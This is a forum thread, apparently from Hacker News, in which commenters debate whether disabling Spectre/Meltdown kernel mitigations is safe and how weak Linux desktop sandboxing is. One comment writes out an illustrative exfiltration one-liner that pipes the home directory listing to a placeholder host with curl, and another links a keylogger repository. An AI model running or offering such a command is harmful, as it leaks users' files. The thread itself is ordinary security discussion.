The GRUB parameters that appear on Make-Linux-Fast-Again.com apparently disable Spectre/Meltdown mitigations:

Yes, that's the point of this site - if your workflow is hurt by the perf impact of mitigations and SPECTRE & friends are not a credible attack, for instance because you disable JS by default, then you can just curl and pipe this to your kernel parameters

To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads.

While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer.

I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device.

That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.

jcelerier

> you should not use this command on a system that's running untrusted code from anywhere in any context

I don't really understand this point.

Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not).

Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.

danShumway

> Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user

There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?

I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but...

I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.

tsss

It's not that the vulnerability isn't dangerous. It's that there are already _so_ many other vulnerabilities that outside of maybe JavaScript it doesn't make a whole lot of difference. Desktop linux security is basically this: https://i.redd.it/bqk0cv1r56c41.png Why worry about a whole in the fence gate when anyone can just walk around it?

danShumway

The problem is that there are like 4 or 5 efforts going on in Linux right now to make things more secure. But they're all kind of targeted, and we need all of them to coordinate with each other, so individually each of them gets dismissed because "what's the point of plugging one hole?"

People mention $HOME access. This is something that we're trying to solve with Flatpack: filesystem access should be sandboxed by default. But that requires coordination with desktop environments like Gnome, otherwise everyone just grants programs anything they want because the UX is bad.

And then on top of that we have X11, which is its own mess, and we're trying to address that with Wayland. But Wayland isn't perfect yet for desktop recording, and there's not a ton of effort from software like Emacs to get off of X and onto Wayland because of "what's the point?" arguments. So Flatpack becomes a lot less valuable because X11 keylogging is so easy.

Then we have just flat-out bad user security, where people are setting up sudo without a password. So process isolation becomes a lot less valuable because programs can just manipulate the raw filesystem.

And then we have Spectre/Meltdown leaking passwords, but who cares because "people don't set passwords anyway."?

And whenever a group of people get together and propose any fixes in isolation, there is inevitably someone in the Linux community who will stand up and say, "Look, Wayland is pointless because someone wrote a keylogger[0]. Why are we spending any time fixing this stuff?"

Imagine you are on a boat with 10 holes in the bottom, all of them leaking water. If you want to fix that problem, there is inevitably going to be a period where 5 of the holes are patched and 5 of them aren't. And if you get to that point and start re-opening the holes that did get patched, it's going to be very hard to make any more progress.

[0]: https://github.com/Aishou/wayland-keylogger